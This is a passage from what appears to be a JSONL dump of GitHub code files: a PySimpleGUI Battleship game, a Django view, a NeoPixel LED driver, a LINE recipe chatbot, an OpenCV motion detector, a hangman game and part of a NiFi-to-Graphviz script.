image_data=ImageRepository.get_carrier_image(), button_color=(sg.theme_background_color(),sg.theme_background_color()), pad=(0,0), key=\"carrier\")]]\n\n\n\t\tlayout += [[sg.Column(ship_button_layout),\n\t\t\t\t    sg.Column(player_board_layout)]]\n\n\t\tlayout += [[sg.Button(\"Confirm Placement\", key=\"confirm\"), sg.Button(\"Restart Placement\", key=\"restart\")]]\n\n\t\treturn layout\n\n\tdef create_game_layout(self): # standard game layout\n\t\t# Menu Bar at the top. We can add other options for how we want to see stuff.\n\t\tmenu_bar = [ [\"Game\", [\"New Game\", \"Exit Game\"]]]\n\n\t\tlayout = [[sg.Menu(menu_bar, tearoff = False, key=\"-MENU-\")],\n\t\t\t\t  [sg.Text(\"Player vs. BUTTS the Battleship game AI\")],\n\t\t\t\t  [sg.Image('assets/battleship_title.png', size=(800,200))]]\n\n\t\tplayer_board_layout = [[sg.Text(\"Player Board:\")]]\n\t\tplayer_board_layout += self.__create_grid(self.player1.get_board(), \"Player \") # Initializes each button with key \"Player (row,col)\"\n\n\t\tenemy_board_layout = [[sg.Text(\"Enemy Board:\")]]\n\t\tenemy_board_layout += self.__create_grid(self.player2.get_board(), \"Enemy \") # Initializes each button with key \"Enemy (row,col)\"\n\n\t\tship_button_layout = [[sg.Image('assets/patrol.png')],\n\t\t\t\t\t  [sg.Image('assets/sub.png')],\n\t\t\t\t\t  [sg.Image('assets/destroyer.png')],\n\t\t\t\t\t  [sg.Image('assets/battleship.png')],\n\t\t\t\t\t  [sg.Image('assets/carrier.png')]]\n\n\t\tlayout += [[sg.Column(ship_button_layout),\n\t\t\t\t    sg.Column(player_board_layout),\n\t\t\t\t\tsg.VSeperator(), # Line that separates the two.\n\t\t\t\t\tsg.Column(enemy_board_layout)]]\n\n\t\treturn layout\n\n\tdef create_ai_battle_layout(self): # form for when two AI's are battling each other\n\t\t# Menu Bar at the top. We can add other options for how we want to see stuff.\n\t\tmenu_bar = [ [\"Game\", [\"New Game\", \"Exit Game\"]]]\n\n\t\tlayout = [[sg.Menu(menu_bar, tearoff = False, key=\"-MENU-\")],\n\t\t\t\t  [sg.Text(\"Battle of the BUTTS: Basic vs Advanced\")],\n\t\t\t\t  [sg.Image('assets/battleship_title.png', size=(600,200))]]\n\n\t\tplayer1_board_layout = [[sg.Text(\"Basic Board:\")]]\n\t\tplayer1_board_layout += self.__create_grid(self.player1.get_board(), \"player1 \")\n\n\t\tplayer2_board_layout = [[sg.Text(\"Advanced Board:\")]]\n\t\tplayer2_board_layout += self.__create_grid(self.player2.get_board(), \"player2 \")\n\n\n\t\tlayout += [[sg.Column(player1_board_layout),\n\t\t\t\t\tsg.VSeperator(), # Line that separates the two.\n\t\t\t\t\tsg.Column(player2_board_layout)],\n\t\t\t\t\t[sg.Button(\"Next\", key=\"next\")]]\n\n\t\treturn layout\n\n\t# After a player has been determined to of won\n\tdef create_game_over_layout(self, who_won):\n\t\t# Menu Bar at the top. We can add other options for how we want to see stuff.\n\t\tmenu_bar = [ [\"Game\", [\"New Game\", \"Exit Game\"]]]\n\n\t\tlayout = [[sg.Menu(menu_bar, tearoff = False, key=\"-MENU-\")],\n\t\t\t\t  [sg.Text(\"Player vs. BUTTS the Battleship game AI\")],\n\t\t\t\t  [sg.Image('assets/battleship_title.png', size=(400,200))]]\n\n\t\tlayout += [[sg.Text(\"GAME OVER!\" + who_won )],\n\t\t\t\t   [sg.Text(\"Play again?\")],\n\t\t\t\t   [sg.Button(\"Yes\", key=\"New Game\"), sg.Button(\"No\", key=\"Exit Game\")]]\n\n\t\treturn layout\n\n\t'''*******************************************\n\t\tShip Placement Set Up Methods\n\t*******************************************'''\n\tdef on_click_patrol_button(self, start, end):\n\t\tself.player1.place_ship(Patrol(start,end), False)\n\n\tdef on_click_submarine_button(self, start, end):\n\t\tself.player1.place_ship(Submarine(start, end), False)\n\n\tdef on_click_destroyer_button(self, start, end):\n\t\tself.player1.place_ship(Destroyer(start, end), False)\n\n\tdef on_click_battleship_button(self, start, end):\n\t\tself.player1.place_ship(Battleship(start, end), False)\n\n\tdef on_click_carrier_button(self, start, end):\n\t\tself.player1.place_ship(Carrier(start, end), False)\n\n\t'''*******************************************\n\t\tIn Game Action Methods\n\t*******************************************'''\n\tdef attack_enemy(self, target): # Player(user) controled attack on the enemy\n\t\ttry:\n\t\t\tif self.player2.defend(target):\n\t\t\t\t# GAME OVER, player win!\n\t\t\t\tprint(\"Player won!\")\n\t\t\t\tself.game_over(\"player won!\")\n\t\t\t\treturn False\n\t\t\tself.player1turns = self.player1turns + 1\n\t\t\treturn True # sucessful attack\n\t\texcept(AlreadyPointTakenException):\n\t\t\tprint(\"Invalid target given by Player\")\n\t\t\treturn False\n\n\tdef attack_player1(self): # Attack uncontrolled (autonomous)\n\t\ttry:\n\t\t\tif self.player1.defend(self.player2.give_target(self.player1)):\n\t\t\t\tif self.turn == \"play\": # GAME OVER, Advanced win!\n\t\t\t\t\tself.game_over(\"AI won!\")\n\t\t\t\t\tprint(\"AI won!\")\n\t\t\t\t\tself.whowon = \"AI\"\n\t\t\t\telse:\n\t\t\t\t\tself.game_over(\"Advanced won!\")\n\t\t\t\t\tprint(\"Advanced AI won!\")\n\t\t\t\t\tself.whowon = \"Advanced AI\"\n\t\t\t\tself.turn = \"over\"\n\t\t\tself.player2turns = self.player2turns + 1\n\t\t\treturn True # sucessful attack\n\t\texcept(AlreadyPointTakenException,InvalidCoordinateException):\n\t\t\tprint(\"Invalid target given by AI\")\n\t\t\treturn False\n\n\tdef attack_player2(self): # Attack uncontrolled (autonomous)\n\t\ttry:\n\t\t\tif self.player2.defend(self.player1.give_target(self.player2)):\n\t\t\t\t# GAME OVER, Basic win!\n\t\t\t\tself.game_over(\"Basic won!\")\n\t\t\t\tprint(\"Basic AI won!\")\n\t\t\t\tself.whowon = \"Basic AI\"\n\t\t\t\tself.turn = \"over\"\n\t\t\tself.player1turns = self.player1turns + 1\n\t\t\treturn True # sucessful attack\n\t\texcept(AlreadyPointTakenException, InvalidCoordinateException):\n\t\t\tprint(\"Invalid target given by AI: Basic\")\n\t\t\treturn False\n\n\n\n# Reminders: MUST CATCH EXCEPTIONS\ndef main():\n\n\tGame.new_game(Game()) # Start application process\n\n\twait = 0 # Forces the player to perform 2 actions. There is a better way to do this, but idk how yet.\n\tstartcoord = -1\n\tendcoord = -1\n\tnext = 1 # AI Gamemode variable only\n\n\t#Event Loop:\n\twhile True:\n\t\tevent, values = Game.get_instance().window.read()\n\n\t\t# event = the string that represents the key of a button pressed.\n\t\tif event == sg.WIN_CLOSED or event == \"Exit Game\":\n\t\t\t# If user chooses to exit the game\n\t\t\tGame.end_game(Game.get_instance())\n\t\t\tbreak\n\t\telif event == \"New Game\":\n\t\t\tprint(\"New Game Pressed\")\n\t\t\tGame.new_game(Game.get_instance())\n\n\t\telif event == \"restart\":\n\t\t\twait = 0\n\t\t\tGame.new_game(Game.get_instance())\n\n\t\t\t'''\n\t\t\t********************\n\t\t\tGame Mode Selection\n\t\t\t********************\n\t\t\t'''\n\t\telif event == \"basic\":\n\t\t\tGame.get_instance().new_player_vs_basic()\n\n\t\telif event == \"advanced\":\n\t\t\tGame.get_instance().new_player_vs_advanced()\n\n\t\telif event == \"battle\":\n\t\t\tGame.get_instance().new_basic_vs_advanced()\n\n\t\t\t'''****************'''\n\t\telif event == \"next\": # Not a player vs Ai game but an AI vs AI game. (rest of the checks pointless)\n\t\t\twhile(not Game.get_instance().attack_player1()):\n\t\t\t\tpass\n\t\t\twhile(not Game.get_instance().attack_player2()):\n\t\t\t\tpass\n\t\t\t# Game.get_instance().update_ui()\n\n\t\telif event == \"confirm\" and wait == 0: # Sends user to next stage in game.\n\t\t\t# Placed Ships\n\t\t\ttry:\n\t\t\t\tGame.get_instance().next_turn()\n\t\t\t\tGame.get_instance().update_ui()\n\t\t\t\twait = 1\n\t\t\texcept (BoardNotCompleteException):\n\t\t\t\tprint(\"Missing number of ship requirements\")\n\n\n\t\telse:\n\t\t\tif Game.get_instance().turn == \"position\": # If turn is for placing ships.\n\n\t\t\t\tif wait == 2 and \"Player\" in event:\n\t\t\t\t\tstartcoord = eval(event.replace(\"Player \", \"\"))\n\t\t\t\t\twait -= 1\n\t\t\t\telif wait == 1 and \"Player\" in event:\n\t\t\t\t\tendcoord = eval(event.replace(\"Player \", \"\"))\n\t\t\t\t\twait = 0\n\n\t\t\t\t\ttry:\n\t\t\t\t\t\teval(clicked + str(startcoord) + \",\" + str(endcoord) + \")\")\n\t\t\t\t\t\tGame.get_instance().toggle_ship_placement_buttons(False)\n\n\t\t\t\t\texcept InvalidShipException as ex:\n\t\t\t\t\t\tprint(\"exception thrown, continue program: \" + str(ex)) # Temporary action.\n\n\t\t\t\t\tGame.get_instance().update_ui()\n\n\t\t\t\telif event in Game.SHIP_NAMES:\n\t\t\t\t\tGame.get_instance().toggle_ship_placement_buttons(True)\n\t\t\t\t\twait = 2\n\t\t\t\t\tclicked = \"Game.get_instance().on_click_\" + event + \"_button(\"\n\t\t\telif Game.get_instance().turn == \"play\": # If its player or AI turn in a player vs AI game\n\t\t\t\tif wait == 1 and \"Enemy\" in event:\n\t\t\t\t\tattack_coords = eval(event.replace(\"Enemy \", \"\"))\n\t\t\t\t\tif Game.get_instance().attack_enemy(attack_coords):\n\t\t\t\t\t\t# PERFORM AI TURN HERE\n\t\t\t\t\t\twhile(not Game.get_instance().attack_player1()):\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tGame.get_instance().update_ui()\nmain()\n","repo_name":"misslame/BattleShipAIBUTTS","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":16627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22162314907","text":"from django.shortcuts import render\nfrom time import strftime\n\n\ndef index(request):\n    date = strftime('%A %B %d %Y')\n    time = strftime('%I:%M %p')\n    context = {\n        'date': date,\n        'time': time,\n    }\n    return render(\n        request,\n        'core/index.html',\n        context\n    )\n","repo_name":"EsinShadrach/factbase","sub_path":"main/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4859408964","text":"import random\n# import RPi.GPIO as gpio\nimport time\n\nfrom neopixel import *\n\nMODE = \"GRBW\"\n\nWARM_WHITE = True\n\n# LED strip configuration:\nLED_PIN = 18                # GPIO pin connected to the pixels (must support PWM!).\nLED_FREQ_HZ = 800000        # LED signal frequency in hertz (usually 800khz)\nLED_DMA = 5                 # DMA channel to use for generating signal (try 5)\nLED_BRIGHTNESS = 50        # Set to 0 for darkest and 255 for brightest\nLED_INVERT = False          # True to invert the signal (when using NPN transistor level shift)\n\nclass PixelTape:\n\n    strip = None\n    pixel_count = 0\n    output_pixel_count = 0\n\n    pixels = []\n\n    def __init__(self, pixel_count):\n        self.pixel_count = pixel_count\n        if self.use_w():\n            self.output_pixel_count = int(self.pixel_count * (4.0/3.0))\n        else:\n            self.output_pixel_count = self.pixel_count\n        self.strip = Adafruit_NeoPixel(self.output_pixel_count, LED_PIN, LED_FREQ_HZ, LED_DMA, LED_INVERT, LED_BRIGHTNESS)\n        self.pixels = [[0,0,0] for i in range(pixel_count)]\n        self.strip.begin()\n\n    def use_w(self):\n        return MODE==\"RGBW\" or MODE==\"GRBW\"\n\n    def clear(self):\n        for i in range(self.pixel_count):\n            self.draw(i, [0,0,0])\n\n    def draw(self, pixel, colour):\n        if MODE==\"RGB\":\n            self.pixels[pixel] = [int(colour[0]), int(colour[1]), int(colour[2])]\n        elif MODE==\"GRB\":\n            self.pixels[pixel] = [int(colour[1]), int(colour[0]), int(colour[2])]\n        elif MODE==\"RGBW\":\n            self.pixels[pixel] = [int(colour[0]), int(colour[1]), int(colour[2]), 0]\n        elif MODE==\"GRBW\":\n            self.pixels[pixel] = [int(colour[1]), int(colour[0]), int(colour[2]), 0]\n\n    def render(self):\n        if self.use_w():\n            pixel = 0\n            for i in range((self.pixel_count/3)):\n                p = i*3\n                a = self.pixels[p]\n                b = self.pixels[p+1]\n                c = self.pixels[p+2]\n                self.strip.setPixelColor(pixel, Color(a[0], a[1], a[2]))\n                self.strip.setPixelColor(pixel+1, Color(0, b[0], b[1]))\n                self.strip.setPixelColor(pixel+2, Color(b[2], 0, c[0]))\n                self.strip.setPixelColor(pixel+3, Color(c[1], c[2], 0))\n                pixel += 4\n        else:\n            for i in range(self.pixel_count):\n                colour = self.pixels[i]\n                self.strip.setPixelColor(i, Color(int(colour[0]), int(colour[1]), int(colour[2])))\n\n        self.strip.show()\n\n    def bound(self, i):\n        if i < 0:\n            return 0\n        if i > 255:\n            return 255\n        return i\n\n\n","repo_name":"MisterGrimalkin/gpiomofo","sub_path":"src/main/python/pixel_tape.py","file_name":"pixel_tape.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"32565553538","text":"import os\r\nimport json\r\nimport re\r\nimport sys\r\nimport requests\r\nfrom re import Match\r\nfrom flask import Flask, abort, request\r\nfrom jinja2 import Environment, FileSystemLoader, select_autoescape\r\nfrom linebot import LineBotApi, WebhookHandler\r\nfrom linebot.exceptions import InvalidSignatureError\r\nfrom linebot.models import (ImageMessage, MessageEvent, TextMessage,\r\n                            TextSendMessage, BubbleContainer, TemplateSendMessage, CarouselContainer, CarouselTemplate, CarouselColumn, FlexSendMessage)\r\n\r\napp = Flask(__name__)\r\n\r\n#ここ他の人に見せたら大変なことになる。\r\nYOUR_CHANNEL_ACCESS_TOKEN = \"\"\r\nYOUR_CHANNEL_SECRET = \"\"\r\n\r\nline_bot_api = LineBotApi(YOUR_CHANNEL_ACCESS_TOKEN)\r\nhandler = WebhookHandler(YOUR_CHANNEL_SECRET)\r\n\r\n\r\n\r\n@app.route(\"/callback\", methods=['POST'])\r\ndef callback():\r\n    signature = request.headers['X-Line-Signature']\r\n\r\n    body = request.get_data(as_text=True)\r\n    app.logger.info(\"Request body: \" + body)\r\n\r\n    try:\r\n        handler.handle(body, signature)\r\n    except InvalidSignatureError:\r\n        abort(400)\r\n\r\n    return 'OK'\r\n\r\n\r\n\r\n@handler.add(MessageEvent, message=TextMessage)\r\ndef handle_message(event):\r\n    print(\"handle_message:\", event)\r\n    text = event.message.text\r\n    mes,y = search(text)\r\n    #ボタンを押して選ぶ感じ\r\n    if (text.startswith('余りもの')) or (text.startswith('あまりもの')) or (text.startswith('残り物')) or (text.startswith('のこりもの')) or (text.startswith('料理')) or (text.startswith('りょうり')):\r\n        mes = ask(text)\r\n        messages = (\r\n            TextSendMessage(text='なにがあまってますか？'),\r\n            mes,\r\n        )\r\n\r\n    elif y == 0:\r\n        messages = (\r\n            TextSendMessage(text='{}ならこちらがおすすめです！'.format(text)),\r\n            mes,\r\n            #FlexSendMessage(container_obj)\r\n        )\r\n    else:\r\n        print(\"kimi\")\r\n        mes = ask(text)\r\n        messages = (\r\n            TextSendMessage(text='すみません、わからなかったです。食材名をカタカナやひらがな、漢字にしてみてください。私のおすすめはこちらです。'),\r\n            mes,\r\n        )\r\n        print(\"kimi2\")\r\n\r\n    reply_message(event,messages)\r\ndef ask(event):\r\n    notes = [CarouselColumn(thumbnail_image_url=\"https://1.bp.blogspot.com/-qP_6EsaI5sg/XXXOoEKxn7I/AAAAAAABUwg/47xXcIV-bvAbc1cWZT4u9R-_XNGJ5p1aQCLcBGAs/s1600/marukajiri_kyuuri_boy.png\",\r\n                            title=\"きゅうりで一品\",\r\n                            text=\"きゅうりで一品つくりませんか？\",\r\n                            actions=[{\"type\": \"uri\",\"label\": \"サイトURL\",\"uri\": \"https://recipe.rakuten.co.jp/search/きゅうり/\"}]),\r\n\r\n             CarouselColumn(thumbnail_image_url=\"https://1.bp.blogspot.com/-dLi5SjTQD7w/W_UGBPlGt-I/AAAAAAABQUo/N_xuwCPVY0A93YmzQGfsyS_bX7XRI1hmgCLcBGAs/s800/vegetable_cabbage2.png\",\r\n                            title=\"キャベツで一品\",\r\n                            text=\"おぉーっと、ポテンシャルが高いキャベツだ！これを使って何か作れないかな？\",\r\n                            actions=[\r\n                                {\"type\": \"uri\",\"label\": \"サイトURL\",\"uri\": \"https://recipe.rakuten.co.jp/search/きゃべつ/\"}]),\r\n\r\n             CarouselColumn(thumbnail_image_url=\"https://4.bp.blogspot.com/-6Mq74jWtOxM/WKFjCFW3FYI/AAAAAAABBso/1VoQZiuoax0ja_sdNdOStH5KYYUcG4BvQCLcB/s800/golden_egg.png\",\r\n                            title=\"たまごで一品\",\r\n                            text=\"意外と腐らせてしまうたまご！あーもったいない・・・おいしいレシピに交換しようぜ！\",\r\n                            actions=[\r\n                                {\"type\": \"uri\",\"label\": \"サイトURL\",\"uri\": \"https://recipe.rakuten.co.jp/search/たまご/\"}])]\r\n\r\n    messages = TemplateSendMessage(\r\n        alt_text='余りもので一品',\r\n        template=CarouselTemplate(columns=notes),\r\n    )\r\n\r\n    return messages\r\n\r\n#食材名(text)がスプレッドシートがあったらそのURL(url)を取得してtextをかえす関数\r\n\r\ndef url_get(food):\r\n    url = \"\"\r\n\r\n    headers = {\r\n        'x-rapidapi-host': \"\",\r\n        'x-rapidapi-key': \"\"\r\n        }\r\n    #apiでいろいろ取得\r\n    response = requests.request(\"GET\", url, headers=headers)\r\n\r\n    json = response.json()\r\n    #print(json)\r\n\r\n    #配列でそれぞれ食材名とurlがはいっている。\r\n    h_name=[]\r\n    h_url=[]\r\n    for h in json['result']['small']:\r\n        h_name.append(h['categoryName'])\r\n        h_url.append(h['categoryUrl'])\r\n    #print(h_name)\r\n    #print(h_url)\r\n    \r\n    #以下で名前を検索して帰ってきた値からurlをだす\r\n    if food in h_name:\r\n        food_in = h_name.index(food)\r\n        food_url = h_url[food_in]\r\n    else:\r\n        food_url = \"この食べ物は検索できないよ！\"\r\n\r\n    return food_url\r\n\r\n\r\ndef search(text):\r\n    url = url_get(text)\r\n    x = \"この食べ物は検索できないよ！\"\r\n    if x is not url:\r\n        y=0\r\n\r\n        notes = [CarouselColumn(thumbnail_image_url=\"https://1.bp.blogspot.com/-TwMp7OGG7vo/VHPgDGneExI/AAAAAAAApOk/DomNzAjFxEg/s800/job_chef_man.png\",\r\n                                title=\"{}で一品！！\".format(text),\r\n                                text=\"{}で一品をつくれちゃいます！\".format(text),\r\n                                actions=[{\"type\": \"uri\",\"label\": \"サイトURL\",\"uri\": \"{}\".format(url)}]),]\r\n\r\n\r\n        #messages = TemplateSendMessage(\r\n        #    alt_text='{}ならこちらがおすすめです！'.format(text),\r\n        #    template=CarouselTemplate(columns=notes),\r\n        #)\r\n        messages = TemplateSendMessage(\r\n            alt_text='余りもので一品',\r\n            template=CarouselTemplate(columns=notes),\r\n        )\r\n        #messages = TextSendMessage(text='{}ならこちらがおすすめです！'.format(url))\r\n            #FlexSendMessage(container_obj)\r\n\r\n    else:\r\n        y=1\r\n        messages = (\r\n            TextSendMessage(text='すみません、わからなかったです。食材名をカタカナやひらがな、漢字にしてみてください。私のおすすめはこちらです。'),\r\n            )\r\n            #FlexSendMessage(container_obj)\r\n    return messages, y\r\ndef reply_message(event, messages):\r\n    line_bot_api.reply_message(\r\n        event.reply_token,\r\n        messages=messages\r\n    )\r\n\r\nif __name__ == \"__main__\":\r\n    port = int(os.getenv(\"PORT\", 5000))\r\n    app.run(host=\"0.0.0.0\", port=port)\r\n","repo_name":"Kimiaki619/line_bot_NOKORIMONO","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6617,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"69991375930","text":"import sys\nsys.path.append(\"/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/site-packages\")\n#File Path\npath = \"/Users/wuhao/Desktop/Python - Udemy/App2/\"\n\nimport cv2\nimport time\nfrom datetime import datetime\nimport pandas\n\nfirst_frame = None\nstatus_list = [None, None]\ntimes = []\ndf = pandas.DataFrame(columns = [\"Start\", \"End\"])\n\nvideo = cv2.VideoCapture(0)\n# some webcam cannot capture the first frame staticlly, so delay si needed\nvideo.read() \ntime.sleep(2)\n\nwhile True:\n    check, frame = video.read()\n    status = 0\n    gray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n    #blur the image, remove noise and increase the accuracy\n    gray = cv2.GaussianBlur(gray, (21,21), 0) \n\n    if first_frame is None:\n        first_frame = gray\n        continue\n    \n    #comapre difference from the last frame\n    delta_frame = cv2.absdiff(first_frame, gray)\n    # compare the first frame when the difference is greater than 30\n    thresh_frame = cv2.threshold(delta_frame, 30,255, cv2.THRESH_BINARY)[1]\n\n    thresh_frame = cv2.dilate(thresh_frame, None, iterations = 2)\n\n    # draw contours in the image\n    (cnts, _) = cv2.findContours(thresh_frame.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n    # filter contours\n    for contour in cnts:\n        if cv2.contourArea(contour) < 50000:\n            continue\n        status = 1\n        \n        (x,y,w,h) = cv2.boundingRect(contour)\n        cv2.rectangle(frame, (x,y), (x+w, y+h), (0,255,0), 3)\n    # add text\n    cv2.putText(frame, 'Warning: You are under camera !!!', (50,50), cv2.FONT_HERSHEY_SIMPLEX, 1, (0,0,255), 2, cv2.LINE_AA)\n\n    status_list.append(status)\n    # # only save the last two element in array, to save memory\n    # if len(status_list) >= 2:\n    #     status_list.remove(status_list[0])\n    #     status_list.append(status)\n\n\n    # each time motion starts occurs, record the time\n    # one start time and one end time\n    if status_list[-1] == 1 and status_list[-2] == 0:\n        times.append(datetime.now())\n    if status_list[-1] == 0 and status_list[-2] == 1:\n        times.append(datetime.now())\n\n\n    # cv2.imshow(\"Gray Frame\", gray)\n    # cv2.imshow(\"Delta Frame\", delta_frame)\n    # cv2.imshow(\"Threshhold Frame\", thresh_frame)\n    cv2.imshow(\"Color Frame\", frame)\n\n    key = cv2.waitKey(1)\n    if key == ord('q'):  #break the loop\n        # record the end time if the last status is motion\n        if status == 1:\n            times.append(datetime.now())\n        # print('the record has been stopped')\n        break\n\n# print(times)\nfor i in range(0, len(times), 2):\n    df = df.append({\"Start\": times[i], \"End\": times[i+1]}, ignore_index = True)\n\nprint(\"next bug &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&\")\ndf.to_csv(path + \"Times.csv\")\nvideo.release() # close the camera\ncv2.destroyAllWindows()","repo_name":"haowu0909/Move-Object-and-Face-Detector","sub_path":"motion_dedector.py","file_name":"motion_dedector.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29454805379","text":"def ocultar_letras(palabra, cantidad):\n    letras_ocultas = random.sample(range(len(palabra)), cantidad)\n    palabra_oculta = list(palabra)\n    for indice in letras_ocultas:\n        palabra_oculta[indice] = \"_\"\n    return \"\".join(palabra_oculta)\n\ndef revisar_letra(palabra_secreta, palabra_mostrada, letra):\n    nueva_palabra = \"\"\n    for i in range(len(palabra_secreta)):\n        if palabra_secreta[i] == letra:\n            nueva_palabra += letra\n        else:\n            nueva_palabra += palabra_mostrada[i]\n    return nueva_palabra\n\nif __name__ == \"__main__\":\n    palabras_secretas = [\"lepidoptero\", \"elefante\", \"automovil\", \"computadora\", \"guitarra\"]\n    palabra_secreta = random.choice(palabras_secretas)\n    letras_mostradas = random.randint(1, len(palabra_secreta) - 1)\n    palabra_mostrada = ocultar_letras(palabra_secreta, letras_mostradas)\n    intentos = 7\n    \n    while intentos > 0:\n        print(f\"Palabra: {palabra_mostrada}\")\n        print(f\"Intentos restantes: {intentos}\")\n        opcion = input(\"Ingrese una letra o arriésguese a decir la palabra completa: \")\n\n        if len(opcion) == 1:\n            palabra_mostrada = revisar_letra(palabra_secreta, palabra_mostrada, opcion)\n            if opcion in palabra_secreta:\n                print(\"¡Letra correcta!\")\n            else:\n                print(\"Letra incorrecta. ¡Intente de nuevo!\")\n                intentos -= 1\n        else:\n            if opcion == palabra_secreta:\n                print(\"¡Felicidades! Ha adivinado la palabra secreta.\")\n                break\n            else:\n                print(\"Palabra incorrecta. ¡Intente de nuevo!\")\n                intentos -= 1\n\n    if intentos == 0:\n        print(\"¡Se acabaron los intentos! La palabra secreta era:\", palabra_secreta)\n","repo_name":"pabloschwarzenberg/grader","sub_path":"tema4_ej1/tema4_ej1_7b119b02ae08aa3040f7fe22283cc330.py","file_name":"tema4_ej1_7b119b02ae08aa3040f7fe22283cc330.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70567471289","text":"import logging\n\nimport jsonpickle\nimport nipyapi\nimport pygraphviz as pgv\nfrom nipyapi.nifi import ProcessGroupsEntity\n\n\ndef _add_mock_info(\n    do_mock, mock_info_data, function_name, nifi_id=None, args=None, data=None\n):\n    \"\"\"\n    Populate the mocking information\n    :param do_mock: is true mocking data is being track\n    :type do_mock: bool\n    :param mock_info_data: dict to store mocking information\n    :type mock_info_data: dict\n    :param function_name: the function call\n    :type function_name: str\n    :param nifi_id: the nifi uuid involved if applicable\n    :type nifi_id: str\n    :param args: the function arguments\n    :type args: list\n    :param data: the return value\n    :type data: object\n    :return:\n    \"\"\"\n    if args is None:\n        args = []\n    if do_mock:\n        if nifi_id is None:\n            key = function_name\n        else:\n            key = \"{}:{}\".format(function_name, nifi_id)\n        mock_info_data[key] = {\"args\": args, \"return\": data}\n\n\ndef _create_port_node(subgraph, port_type, port):\n    \"\"\"\n    Create a graph node for an input or output port\n    :param subgraph: the graph parent of the created node\n    :param port_type: a str [input | output]\n    :param port: the port object\n    :return:\n    \"\"\"\n    subgraph.add_node(port.id)\n    port_node = subgraph.get_node(port.id)\n    port_node.attr[\"label\"] = port.component.name + \" : \" + port.component.type\n    port_node.attr[\"pos\"] = f\"{port.position.x:f},{port.position.x:f}\"\n    port_node.attr[\"id\"] = port.id\n    logging.debug(f\"Generate node for {port_type}_port {port.id}:{port.component.name}\")\n\n\ndef _clone_graph_attrs(source, target):\n    \"\"\"\n    Clone one graph's attributes into another graph's\n    :param source: the graph from which to take attributes\n    :param target: the graph to which to clone the attributes\n    :return:\n    \"\"\"\n    print(type(source.graph_attr))\n    target.graph_attr.update(source.graph_attr)\n    target.node_attr.update(source.node_attr)\n    target.edge_attr.update(source.edge_attr)\n\n\ndef _handle_group(\n    configuration,\n    current_depth,\n    process_group,\n    parent_graph,\n    process_group_graph=None,\n    do_mock=False,\n    mock_info=None,\n):\n    \"\"\"\n    Generate graph objects for the passed process process_group and add them to the\n    parent graph.\n    Configuration options will be used to control the depth of the process process_group recursion,\n    load templates to overload subgraph settings, and set properties on processors\n    If the mock is not empty, then document nipyapi calls.\n    :param configuration: confuse.LazyConfig\n    :param current_depth: what level of the recursive decent we are on\n    :param process_group: the process process_group we are generating graph objects for\n    :param parent_graph: the parent of any graph objects we create\n    :param process_group_graph: The graph object for this group if it has already been created\n    :param do_mock: flag to trun on mock data generation\n    :param mock_info: mock data storage\n    :return:\n    \"\"\"\n    logging.debug(f\"Handling group {process_group.id}\")\n    this_flow = nipyapi.canvas.get_flow(process_group.id)\n    _add_mock_info(\n        do_mock,\n        mock_info,\n        \"nipyapi.canvas.get_flow\",\n        process_group.id,\n        [process_group.id],\n        this_flow,\n    )\n\n    # Create this group if we have to\n    # see if the user has configured a DOT template for this process_group\n    if process_group_graph is None:\n        if configuration[\"process_groups\"][process_group.id].exists():\n            template_file = configuration[\"process_groups\"][process_group.id][\n                \"template\"\n            ].as_filename()\n            logging.debug(f\"Using template file {template_file} for {process_group.id}\")\n            template_group_graph = pgv.AGraph(template_file)\n            # process_group_graph = parent_graph.add_subgraph(process_group_graph)\n            process_group_graph = parent_graph.add_subgraph(\n                name=\"cluster_\" + process_group.component.name\n            )\n            process_group_graph.graph_attr[\"id\"] = process_group.id\n            _clone_graph_attrs(template_group_graph, process_group_graph)\n        else:\n            process_group_graph = parent_graph.add_subgraph(\n                name=\"cluster_\" + process_group.component.name\n            )\n            process_group_graph.graph_attr[\"label\"] = process_group.component.name\n            process_group_graph.graph_attr[\"id\"] = process_group.id\n            logging.debug(\n                f\"Created subgraph {process_group_graph.name} \"\n                f\"with label {process_group.component.name}\"\n            )\n\n    input_ports = nipyapi.canvas.list_all_input_ports(process_group.id, False)\n    _add_mock_info(\n        do_mock,\n        mock_info,\n        \"nipyapi.canvas.list_all_input_ports\",\n        process_group.id,\n        [process_group.id, False],\n        input_ports,\n    )\n\n    for input_port in input_ports:\n        _create_port_node(process_group_graph, \"input\", input_port)\n\n    output_ports = nipyapi.canvas.list_all_output_ports(process_group.id, False)\n    _add_mock_info(\n        do_mock,\n        mock_info,\n        \"nipyapi.canvas.list_all_output_ports\",\n        process_group.id,\n        [process_group.id, False],\n        output_ports,\n    )\n\n    for output_port in output_ports:\n        _create_port_node(process_group_graph, \"output\", output_port)\n\n    for processor in this_flow.process_group_flow.flow.processors:\n        process_group_graph.add_node(processor.id)\n        node = process_group_graph.get_node(processor.id)\n        class_full = processor.component.type.split(\".\")\n        node.attr[\"label\"] = (\n            processor.component.name + \" : \" + class_full[len(class_full) - 1]\n        )\n        node.attr[\"pos\"] = f\"{processor.position.x:f},{processor.position.y:f}\"\n        node.attr[\"id\"] = processor.id\n        logging.debug(\n            f\"Generate node for processor {processor.id}:{processor.component.name}\"\n        )\n\n        # see if user has configured a set of attributes for this processor\n        if configuration[\"processors\"][processor.id][\"node_attr\"].exists():\n            logging.debug(f\"Processor {processor.id} has configured attributes\")\n            for key in configuration[\"processors\"][processor.id][\"node_attr\"]:\n                